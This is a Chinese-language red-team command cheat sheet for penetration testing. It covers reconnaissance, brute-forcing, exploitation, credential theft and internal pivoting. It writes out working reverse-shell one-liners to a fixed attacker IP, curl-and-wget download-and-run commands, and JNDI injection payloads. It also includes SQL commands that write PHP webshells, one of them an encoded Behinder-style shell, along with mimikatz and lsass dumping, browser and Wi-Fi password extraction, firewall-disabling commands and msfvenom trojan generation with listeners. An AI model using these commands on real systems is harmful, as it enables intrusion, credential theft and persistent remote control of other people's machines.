攻防渗透常用命令速查 建议配合CTRL+F
进行查询
目录
反弹Shell常用反弹shell方式如下(bash/curl/http),其他反弹shell方式参考:Click Here
bash1 bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
curl攻击方:
1 cat bash.html/bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
被控端:
1 curl 192.168.35.152/bash.html|bash
http攻击方:
1 2 # 编写shell脚本并启动http服务器 echo "bash -i >& /dev/tcp/192.168.35.152/7777 0>&1" > shell.shpython2环境下:python -m SimpleHTTPServer 80python3环境下:python -m http.server 80
被控端:
1 2 3 4 # 上传shell.sh文件 wget 192.168.35.152/shell.sh# 执行shell.sh文件 bash shell.sh
javajava.lang.Runtime.exec() Payload:https://www.bugku.net/runtime-exec-payloads/
1 2 # /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1 bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA==}|{base64,-d}|{bash,-i}'
URLencode bypass:
1 2 # /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1 bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'
ssh无记录shell1 ssh -T root@1.1.1.1 /usr/bin/bash -i
python交互shell1 python2 -c 'import pty;pty.spawn("/bin/sh")'
1 python3 -c "import pty;pty.spawn('/bin/bash')"
图片马制作1 copy 1.jpg/b+1.php/a 2.jpg
按首字母排序 AlliN1 2 3 4 5 # 按域名爬取 python AlliN.py --host $host -m subscan --project $project --timeout 6 # 按文件爬取 python AlliN.py -f domain.txt
Arjun1 2 3 4 5 6 7 8 9 10 11 # Scan a single URL arjun -u https://api.example.com/endpoint# Specify HTTP method arjun -u https://api.example.com/endpoint -m POST# Import targets arjun -i targets.txt# Export result arjun -u https://api.example.com/endpoint -oJ result.json------------------oJ result.json-oT result.txt-oB 127.0.0.1:8080
dirsearch1 2 3 4 5 6 7 8 9 # 选项 -u 目标 -e 文件扩展名 -x 排除状态码结果 -w 指定字典 -r 递归扫描 -R 设置递归级别 -t 设置线程数(50-100) -c cookie
1 2 python3 dirsearch.py -u https://target -x 403
1 2 3 4 5 python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist python3 dirsearch.py -u https://target -w /path/to/wordlist --suffixes=.php.bak
1 2 3 4 python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0 .0 .1 :8080 python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://1.1 .1 .1 :8080
1 2 python3 dirsearch.py -u https://target -u 404
dirmap1 2 3 4 5 6 7 8 9 10 11 12 python dirmap.py -i https://target.com -lcf python dirmap.py -i 192.168 .1 .1 -lcf python dirmap.py -i 192.168 .1 .0 /24 -lcf python dirmap.py -i 192.168 .1 .1 -192.168 .1 .100 -lcf python dirmap.py -iF targets.txt -lcf
EHole1 2 3 4 5 6 7 8 9 # 系统指纹探测 # 本地识别 EHole -l url.txt //URL地址需带上协议,每行一个# FOFA识别 EHole -f 192.168.1.1/24 //支持单IP或IP段# 结果输出 EHole -l url.txt -json export.json //结果输出至export.json文件
ENScan_GO1 2 3 4 5 # 企业信息收集 ENScanPublic_amd64_linux -n 小米# 备案信息获取 ENScanPublic_amd64_linux -n 小米 -field website
find1 2 # 查看拥有suid权限的文件 find / -perm -u=s -type f 2>/dev/null
1 2 # find结合set权限位提权 find /usr/bin/vim -exec "whoami" \;
1 2 # 全盘查找含有 flag 的文件 grep flag -r /
1 2 # 查找备份压缩包文件 find / -name *.tar.gz或find / -name *.zip
1 2 # 查找包含关键字的文件 find /etc -type f | xargs -I {} grep -l server {}
Linux找目录
1 2 3 4 # 写文件(www同目录) find /root -name www|while read file;do sh -c "echo $file">$(dirname $file)/dir.txt;done # 写文件(www目录下) find /root -name www|while read file;do sh -c "echo $file">$file/dir.txt;done
1 2 3 4 # 删文件(www同目录) find /root -name www|while read file;do sh -c "rm $(dirname $file)/dir.txt";done # 删文件(www目录下) find /root -name www|while read file;do sh -c "rm $file/dir.txt";done
Windows找目录
1 2 3 4 # 写文件(www同目录) for /f %i in ('dir /s /b C:\Users\whoami\www.txt') do (echo %i > %i\..\dir.txt) # 写文件(www目录下) for /f %i in ('dir /s /b C:\Users\whoami\www') do (echo %i > %i\dir.txt)
1 2 3 4 # 删文件(www同目录) for /f %i in ('dir /s /b C:\Users\whoami\www.txt') do (del %i\..\dir.txt) # 删文件(www目录下) for /f %i in ('dir /s /b C:\Users\whoami\www') do (del %i\dir.txt)
ffuf1 ffuf.exe -c -w /path/to/wordlist -u http://ip/FUZZ
fscan1 2 # -np跳过存活检测 fscan -hf hosts.txt -np --nopoc -t 100
1 2 3 fscan.exe -h 192.168.1.1/24 (默认使用全部模块) fscan.exe -h 192.168.1.1/16 -p 8000-9000 (指定端口扫描) fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan 默认端口:
1 21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017
grep1 grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r / --color=auto
1 grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
1 grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" fold/
1 grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt
hping3重要端口
1 21,22,23,53,80,111,389,443,445,512,873,1433,1521,2049,2181,2375,3306,3389,4848,5432,5601,5672,5900,5984,6379,7001,8000-9000,9060,9092,9200,9300,10000,10051,11211.20880,27017,28017,50030,50070
1 8080,8081,8089,8090,8095,8161,8888,8983,9000
1 hping3 -S 1.1.1.1 --scan 1-65535
hydra1 2 3 4 5 6 7 8 9 10 # 选项 -l 指定的用户名 -L 用户名字典 -p 指定密码 -P 密码字典 -s 指定端口 -e ns 空密码试探 -M 指定目标列表文件,一行一条 -o 输出文件 -t 任务数默认16 -f 爆破成功一个就停止 -v 报错日志详细 -V 攻击日志
1 hydra -L /root/user.txt -P pass.txt 1.1.1.1 mysql
1 hydra -L /root/user.txt -P pass.txt 1.1.1.1 ssh -s 22 -t 4
1 hydra -L /root/user.txt -P pass.txt 1.1.1.1 rdp -V
1 hydra -L /root/user.txt -P pass.txt 1.1.1.1 smb -vV
1 hydra -L /root/user.txt -P pass.txt ftp://1.1.1.1
1 2 3 4 5 6 7 8 # 破解SSH hydra -l 用户名 -P 密码字典 -t 线程 -vV -e ns -M IP列表文件 ssh # 破解RDP hydra -l 用户名 -P 密码字典 -t 线程 -vV -M IP列表文件 rdp # 破解FTP hydra -l 用户名 -P 密码字典 -t 线程(默认16) -vV IP地址ftp
JNDI1 2 # https://github.com/welk1n/JNDI-Injection-Exploit GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
1 2 3 4 # https://github.com/WhiteHSBG/JNDIExploit GET /solr/admin/cores?action=${jndi:ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3} HTTP/1.1 ------------- /ateam pass1024
1 2 3 4 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ls" -A "127.0.0.1" # java.lang.Runtime.exec() Payload java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "127.0.0.1"
HackBrowerserData1 > .\hack-browser-data.exe -b all -f json --dir results -zip
kscan1 2 3 4 5 6 7 8 9 10 11 # 端口扫描 kscan -t 192.168.174.1/24 # 存活网段 kscan --spy # 暴力破解 kscan -t 192.168.174.128 --hydra # CDN识别 kscan -t www.baidu.com
ksubdomain1 2 3 4 5 6 7 8 # 使用内置字典爆破 ksubdomain -d seebug.org# 使用字典爆破域名 ksubdomain -d seebug.org -f subdomains.dict# 字典里都是域名,可使用验证模式 ksubdomain -f dns.txt -verify
mysql不登录直接执行sql语句
1 2 mysql -uroot -ppassword test -e "select now()" -N > test.txt mysql -uroot -e "show databases;" > test.txt
getshell
1 2 3 show variables like '%secure%' select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php'; select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';
1 2 3 set global general_log=on; set global general_log_file='/var/www/1.php'; select '<?php eval($_POST[s6]) ?>';
1 select '<?php file_put_contents("index.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/www/index.php';
medusa1 2 3 4 5 6 7 8 # 语法规则 Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] -M module # 选项 -h 目标名或IP -H 目标列表 -u 用户名 -U 用户名字典 -p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程 -n 指定端口 -e ns 尝试空密码和用户名密码相同
1 medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
1 medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql
1 2 3 4 5 # MySQL破解 medusa -h ip -u sa -P pass.txt -t 5 -f -M mssql # SSH破解 medusa -H host.txt -U user.txt -p password -M ssh
nmap
1 2 3 4 5 6 7 8 9 # 选项 -sn 只做 PING 扫描,不做端口扫描 -sV 探测开放的端口的系统/服务信息 -sP PING 扫描(打印出对 PING 扫描做出响应的主机,不进行进一步测试,无法用于端口扫描) -sT TCP Connect 扫描 -sS TCP SYN 扫描 -sU UDP 扫描 --script=<Lua scripts> 指定脚本名称
1 nmap -sV 1.1.1.1 -p 8080
1 nmap -p445 1.1.1.1 --script smb-vuln-ms17-010
1 nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p 1-65535 -iL ip.txt -oX output.xml
OneForAll1 2 python oneforall.py --target example.com run python oneforall.py --targets ./example.txt run
scaninfo1 scaninfo -uf url.txt -m webfinger web指纹识别
1 scaninfo -i 192.168.0.0/24 -p 1-65535 -eq 53 -m port 端口扫描
1 scaninfo -i 192.168.0.0/24 -l ip.txt -uf url.txt -t1000 可以组合各种目标ip段ip文件url文件
sqlmap1 2 3 # 选项 --file-read=RFILE 从后端的数据库管理系统文件系统读取文件 --dump 转储数据库表项
1 python sqlmap.py -u "https://www.xxx.com/post.php?id=1" --proxy "http://127.0.0.1:1080"
1 python sqlmap.py -u "http://www.xxx.com" –cookie "id=11" --level 2
1 python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3
1 python sqlmap.py -u "http://www.xxx.com/post.php?id=1" --dbms mysql --dbs
1 python sqlmap.py -u "http://www.xxx.com/post.php?id=1" --dbms mysql -D test --tables
1 python sqlmap.py -u "http://www.xxx.com/post.php?id=1" --dbms mysql -D test -T admin –-columns
1 python sqlmap.py -u "http://www.xxx.com/post.php?id=1" --dbms mysql -D test -T admin -C "username,password" --dump
1 python sqlmap.py -r "c:\url.txt" -p id –dbms mysql –file-read="C:/example.exe"
TideFinger1 python TideFinger.py -u http://192.168.0.1:8080/
URLFinder1 2 URLFinder.exe -u http://ip -s all -m 2 URLFinder.exe -u http://ip -s 200,403 -m 2
1 URLFinder.exe -s all -m 2 -f url.txt -o D:/
Vulmap1 2 python vulmap.py -u http://example.com python vulmap.py -f list.txt
1 2 # 检查站点是否存在 struts2 漏洞 python3 vulmap.py -u http://example.com -a struts2
1 2 3 # 对 http://example.com:7001 进行 WebLogic 的 CVE-2019-2729 漏洞利用 python3 vulmap.py -u http://example.com:7001 -v CVE-2019-2729 python3 vulmap.py -u http://example.com:7001 -m exp -v CVE-2019-2729
Xray1 2 3 4 5 6 7 8 # 网络扫描 .\xray_windows_386.exe webscan --listen 127.0.0.1:7777 --html-output xray.html# 服务扫描 .\xray_windows_386.exe servicescan --target 1.1.1.1:8080# 指定插件 xray webscan --plugins cmd-injection,sqldet --url http://example.comxray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777
数据库连接 Redis1 redis-cli -h 目标主机IP地址 -p 端口号
Postgresql1 2 # 查询当前db中所有表的信息 select * from pg_tables
内网信息收集 重要端口及服务
port
service
description
21
FTP
FTP控制端口,检查匿名登录、弱口令
22
SSH
SSH远程登录协议,检查弱口令
23
Telnet
Telnet终端仿真协议
53
DNS服务
80
Web
检查常见Web漏洞及管理后台
111
NFS
网络文件系统
389
LDAP
轻型目录访问协议,检查是否存在匿名访问
443
OpenSSL
检查心脏滴血及Web漏洞
445
SMB
检查是否存在MS17-010、MS08-067漏洞
512
Rexec
检查远程shell命令及暴力破解
873
Rsync
检查匿名登录、弱口令
1433
SQL Server
数据库服务
1521
Oracle
数据库服务
2049
NFS
NFS未授权访问
2181
Zookeeper
分布式协调系统
2375
Docker Remote
API未授权访问
3306
MySQL
数据库服务
3389
RDP
远程桌面
4848
GlassFish
未授权访问
5432
PostgreSQL
数据库服务
5601
Kibana
开源分析及可视化平台
5672
RabbitMQ
开源消息队列服务软件
5900
VNC
远程桌面控制软件,检查弱口令
5984
CouchDB
数据库服务
6379
Redis
数据库服务
7001
Weblogic
Weblogic Console默认端口
8000-9090
Web
常见Web端口,运维一般将管理后台开在这些非80端口上
8080
Jenkins
8080
Kubernetes Api Server
8081
Apache-Flink
8089
Druid
8090
Confluence
8095
Atlassian Crowd
8161
Active MQ
8888
Jupyter Notebook
8983
Solr
9000
Fast-CGI
对外访问可直接Get shell
9060
Websephere
管理端口
9092
Kafka
开源流处理平台
9200
Elasticsearch(http)
全文搜索引擎
9300
Elasticsearch(tcp)
全文搜索引擎
10000
Virualmin/Webmin
服务器虚拟主机管理系统
10051
Zabbix
监控系统
11211
Memcache
分布式高速缓存系统,检查未授权访问
20880
Dubbo
阿里巴巴开源分布式服务框架
27017
MongoDB
数据库服务
28017
MongoDB
数据库服务(统计页面)
50030
Hadoop Hive
50070
Hadoop
Windows信息收集 查找文件 find/findstr1 2 3 4 5 6 7 8 9 # 全盘查找文件,一定要加一个星号 for /r c:\ %i in (password.txt*) do @echo %i for /r c:\ %i in (*.ini) do @echo %i # 查找 C 盘中包含 password 字样的文件,一定要双引号 findstr /s /n "password" c:\* # 查找 pwd.txt 中是否包含 password 字样,一定要双引号 find /N /I "password" pwd.txt
设置活动代码页编号 chcp
查看系统信息 systeminfo1 2 3 4 5 6 7 8 9 10 11 # 查看全部信息 systeminfo # 查看英文版操作系统和版本信息 systeminfo | findstr /B /C:"OS name" /C:"OS Version" # 查看中文版操作系统和版本信息 systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" # 查看系统体系结构 echo %PROCESSOR_ARCHITECTURE%
查看环境变量 set
查看网络配置信息 ipconfig
查看当前用户信息 whoami
查看路由表 route
查看arp缓存表 arp
查看用户信息 net user/localgroup
通过分析本机用户列表,可以找出内网机器的命名规则。特别是个人机器的名称,可以用来推测整个域的用户命名方式。
1 2 3 4 5 6 7 8 9 10 11 # 查看指定用户信息 net user # 查看本地组信息 net localgroup # 查看本地管理员用户 net localgroup administrators # 查看当前在线用户 query user || qwinsta
查看主机开启时间 net statistics1 net statistics workstation
查看安装软件及版本信息 wmic product1 wmic product get name,version
利用PowerShell收集软件版本信息1 powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
查看本机服务信息 wmic service
查看补丁信息 wmic qfe1 2 3 4 5 # 查看补丁信息 wmic qfe list # 查看补丁列表 wmic qfe get Caption,Description,HotFixID,InstalledOn
1 meterpreter > run post/windows/gather/enum_patches
windows exploit suggester1 2 3 4 $ activate py27 $ python windows-exploit-suggester.py --update $ pip install xlrd==1.2.0 -i https://pypi.tuna.tsinghua.edu.cn/simple $ python windows-exploit-suggester.py --database 2022-03-16-mssb.xls --systeminfo systeminfo.txt
查看共享列表 wmic share1 wmic share get name,path,status
查看进程列表 tasklist1 2 3 4 5 6 7 8 # 查看进程列表 tasklist # 查看当前进程列表所对应的用户身份 tasklist /v # 查看是否有杀软 tasklist /svc
查看计划任务 schtasks通过查看本机计划任务就能知道当前机器上某个时间会运行哪些软件了,就可以利用这一点来做定时任务劫持。
1 schtasks /query /fo LIST /v
查看端口信息 netstat
查看防火墙配置 netsh1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # 关闭防火墙 netsh firewall set opmode disable (Windows Server 2003 系统及之前版本) netsh advfirewall set allprofiles state off (Windows Server 2003 系统之后版本) # 查看防火墙配置 netsh firewall show config # 修改防火墙配置(Windows Server 2003 系统及之前版本) # 允许指定程序全部连接 netsh firewall add allowedprogram c:\nc.exe "allow nc" enable # 修改防火墙配置(Windows Server 2003 之后系统版本) # 允许指定程序连入 netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe" # 允许指定程序连出 netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe" # 允许3389端口放行 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 自定义防火墙日志存储位置 netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
查看wifi信息1 for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
查看网络代理信息1 reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
查看PPTP配置信息Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:
1 %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk
查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令。
查看RDP远程桌面信息1 reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
查看数据库密码1 2 cd /web findstr /s /m "password" *.*
查看服务信息 sc query
导出注册表信息 reg1 2 reg export HKLM hklm.reg reg export HKCU hkcu.reg
导出日志信息
1 2 3 copy C:\Windows\System32\winevt\Logs\System.evtx copy C:\Windows\System32\winevt\Logs\security.evtx copy C:\Windows\System32\winevt\Logs\application.evtx
查看hosts文件1 C:\Windows\System32\drivers\etc\hosts
查看中间件信息1 2 3 4 5 # 列出网站列表 %windir%\system32\inetsrv\AppCmd.exe list site # 列出网站物理路径 %systemroot%\system32\inetsrv\appcmd.exe list vdir
查看组策略 gpresult1 2 # 生成组策略报表 gpresult /h <filename> htm
查看启动项1 2 # 使用注册表查询 reg query HKLM\Software\Microsoft\Windows\CurrentVertion\Run
抓取密码 mimikatz1 2 3 4 5 procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit" mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
浏览器密码Chrome中保存的密码先被二次加密,然后被保存在SQLite数据库文件中,位置如下:
1 %LocalAppData%\Google\Chrome\User Data\Default\Login Data
可以使用USBStealter导出浏览器历史记录以及密码。或者使用https://github.com/AlessandroZ/LaZagne :
1 LaZagne.exe browsers-chrome
此工具也支持firefox以及系统中其他密码的导出。
查看回收站1 2 cd C:\$Recycle.Bin\,使用dir /A查看隐藏文件 S-1 xxx 分别对应不同用户的回收站
1 procdump dump csrss.exe进程
查看域信息 nltest/net1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # 查看域控 nltest /dsgetdc:域名 nltest /dclist:domain-a # 查看域之间的信任关系 nltest /domain_trusts # 查看域用户 net user /domain # 查看域用户组 net group /domain # 查看域管理组成员 net group "domain admins" /domain # 查看管理员登陆时间、密码过期时间,是否有登陆脚本、组分配等信息 net user domain-admin /domain # 查看域时间及域服务器名字,/domain只能是在域机器上执行 workgroup工作组不能执行 net time /domain ------------------- 此命令有三种情况: 1). 存在域,当前不是域用户 显示: 发生系统错误5. 拒绝访问 2). 存在域,当前用户是域用户 显示: 域,和当前被害人机器上的时间 3). 不存在域 显示: 找不到域 workgroup的域控制器,请键入net help....
Linux信息收集 操作系统基本信息1 2 3 4 5 6 7 8 9 10 uname -a # 打印所有可用信息 uname -r # 内核版本信息 uname -n # 系统主机名字 uname -m # Linux内核架构 hostname # 主机名 cat /proc/version # 内核信息 cat /etc/*-release # 发布信息 cat /etc/issue # 发布信息 cat /proc/cpuinfo # cpu信息 df -a # 文件信息
系统环境信息1 2 3 4 5 6 7 env # 输出系统环境信息 set # 打印系统环境信息 echo $PATH # 输出环境变量中的路径信息 history # 打印历史命令 pwd # 当前路径 cat /etc/profile # 显示默认系统环境变量 cat /etc/shells # 显示可用的shell
系统服务信息1 2 3 ps -aux # 查看进程信息 top # 当前进程 netstat -anptu # 查看当前交互端口
系统软件信息1 2 dpkg -l # 查看已经安装的软件列表(debian/ubuntu) rpm -qa # 查看已经安装的软件列表(redhat/centos)
通常程序都是通过-v或-V参数来获取版本信息,例如:
程序的一些配置文件路径,通常为.conf
、.ini
或其他后缀结尾:
1 2 3 4 5 /etc/apache2/apache2.conf # apache默认配置文件 /usr/local/nginx/conf/nginx.conf # nginx默认配置文件 /usr/local/app/php5/lib/php.ini # php默认配置文件 /etc/my.cnf # mysql配置文件 /var/log/ # log目录下记录各种软件执行的日志
系统任务和作业1 2 3 4 crontab # 计划任务管理 /etc/crontab # 计划任务配置文件(可能记录了用户自行添加的任务) jobs -l # 列出后台作业 ls /etc/cron* # 列出计划任务
crontab -l -u用户名
,不加-u
默认列出当前用户的计划任务,加-u
列出指定用户的计划任务(需要root权限)
用户信息和组信息1 2 3 4 5 6 7 8 9 10 11 cat /etc/passwd # 查看系统所有用户 grep -v -E "^#" /etc/passwd | awk -F: '$3==0{print $1}' # 查看超级用户 cat /etc/group # 查看系统所有组 cat /etc/shadow # 查看系统所有用户的hash(需要root权限) users # 查看当前登陆的用户 who -a # 查看当前登陆的用户 w # 查看当前登陆的用户有那些人,以及它们执行的程序 last # 显示登陆用户的信息 lastlog # 显示系统中所有用户最近一次登陆的信息 lastlog -u %username% # 有关指定用户上次登录的信息 lastlog | grep -v "Never" # 以前登录用户的信息
用户和权限信息1 2 3 4 whoami # 查看当前用户 id # 列出当前用户详细信息 cat /etc/sudoers # 查看可以提升到root权限的用户 sudo -l # 列出当前用户可执行和不可执行的命令
系统网络和路由信息1 2 3 4 5 6 7 8 9 ifconfig -a # 列出网络接口信息 cat /etc/network/interfaces # 列出网络接口信息 arp -a # 列出系统arp表 route # 打印路由信息 cat /etc/resolv.conf # 查看dns配置信息 netstat -an # 打印本地开放信息 iptables -L # 列出iptables配置规则 cat /etc/services # 查看端口服务应黑 cat /etc/hosts # hosts文件信息
获取其他信息1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # 查找拥有SUID的文件 find / -perm -4000 -type f # 查找root权限的SUID文件 find / -uid 0 -perm -40^0 -type f # 查找可写目录 find / -perm -2 -type d # 查看当前用户的历史记录 cat ~/.bash_history # 查看用户ssh登陆信息 ls ~/.ssh/ # 查找备份压缩包文件 find / -name *.tar.gz或find / -name *.zip # 查找filename.ext文件 find / -name filename.ext # 全盘查找含有 flag 的文件 grep flag -r /
域内信息收集 判断是否存在域 ipconfig1 2 3 4 5 # 查看网关IP地址、DNS IP地址、域名、本机是否和DNS服务器处于同一网段 ipconfig /all # 解析域名IP地址,查看是否与DNS服务器为同一IP nslookup test.com
查看系统详细信息 systeminfo
查看当前登录域与域用户 netconfig1 net config workstation | findstr 域
判断主域 net time
收集域内基础信息 查看域 net view
查看域内计算机 net view1 net view /domian:domain_name
查看域内用户组列表 net group
查看域管理员列表 net group1 net group "domain admins" /domain
查看企业管理员列表 net group1 net group "enterprise admins" /domain
查看域内置administrator组用户1 net localgroup administrators /domain
查看域密码策略信息 net accounts密码长短、错误锁定等信息。
查看域信任信息 nltest
收集域用户和管理员信息 查询域用户列表 net user
查询域用户详细信息 wmic useraccount1 wmic useraccount get /all
1 net user someuser /domain
查询存在的用户
收集域控制器信息 查看域控主机名
1 nslookup -type=SRV _ladp._tcp
查看域控制器列表 net group1 net group "domain controllers" /domain
查找域管理员进程 获取域管理员列表1 net group "domain admins" /domain
列出本机的所有进程及进程用户
定位域管理员 psloggedon查询直接运行该程序即可:
netview查询
netview参数:
1 2 3 4 5 6 -f filename.txt:指定要提取主机列表的文件 -e filename.txt:指定要排除的主机名的文件 -o filename.txt:将所有输出重定向到指定的文件 -d domain:指定要提取主机列表的域 -g group:指定要搜索的组名 -c:对已经找到的共享目录/文件的访问权限进行检查
内网穿透代理 Neo-reGeorg
攻击机生成tunnel.(aspx|ashx|jsp|jspx|php) 并上传Web Server 1.1.1.1
1 python neoreg.py generate -k password
攻击机通过neoreg.py连接Web Server
1 python neoreg.py -k password -u http://1.1.1.1/tunnel.jsp
配置本地代理访问内网服务
ssh将对A:X的访问转变成对C:Z的访问
1 2 3 4 ssh -L 主机A端口X:主机C:主机C端口Z -N -f username@hostname # 例如 ssh -L 27689:192.168.20.100:27689 -N -f root@172.16.0.10
nps
攻击机启动服务,新增client,新增socks5
1 2 3 sudo -s ./nps install ./nps
上传nps client,根据给出的命令连接nps server
1 2 3 4 5 # Windows客户端 .\npc.exe -server=1.1.1.1:8024 -vkey=ihmtyta4i4f3rm3z -type=tcp # Linux客户端 .\npc -server=1.1.1.1:8024 -vkey=ihmtyta4i4f3rm3z -type=tcp
frp
根据配置文件frps.ini运行服务端
1 2 3 4 5 [common] bind_port = 7000 dashboard_port = 7500 dashboard_user = admin dashboard_pwd = <your-password-here>
根据配置文件frpc.ini运行客户端
1 2 3 4 5 6 7 8 9 [common] server_addr = <your-vps-ip-here> server_port = 7000 [msf] type = tcp local_ip = 127.0.0.1 local_port = 4444 remote_port = 9001
msf生成木马/behinder3生成木马
1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your-vps-ip-here> LPORT=9001 -f exe > shell.exe
msf监听反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 msf > use exploit/multi/handler # 监听windows shell msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp # 监听behinder3 shell msf exploit(multi/handler) > set PAYLOAD java/meterpreter/reverse_tcp msf exploit(multi/handler) > set LHOST 127.0.0.1 msf exploit(multi/handler) > set LPORT 4444 msf exploit(multi/handler) > run
内网权限提升 Windows系统提权Windows-Exploit-Suggester进行缺失补丁信息收集:
1 python windows-exploit-suggester.py --database 2022-03-16-mssb.xls --systeminfo win7_systeminfo.txt
通过补丁信息判断当前系统是否可以通过以下内核漏洞进行提权:
CVE-2019-0803
CVE-2018-8120
CVE-2018-8440
Linux系统提权查找系统中存在suid的可执行文件:
1 find / -perm -u=s -type f 2>/dev/null
通过存在suid的命令在root权限下执行其他命令:
1 2 3 # 写入webshell find /var/www/html -exec touch update.php ; find /var/www/html -exec echo ‘<?php @eval($_POST['shell']);?>’ > update.php ;
1 2 # 查找/etc/目录下包含password的文件 find /var/www/html -exec find / -type f | xargs -I {} grep -l password {} ;
内网渗透工具 CobaltStrike团队服务器启动CS服务,注意修改teamserver端口号 ,默认为50050:
1 ./teamserver 1.1.1.1 password
beacon命令:
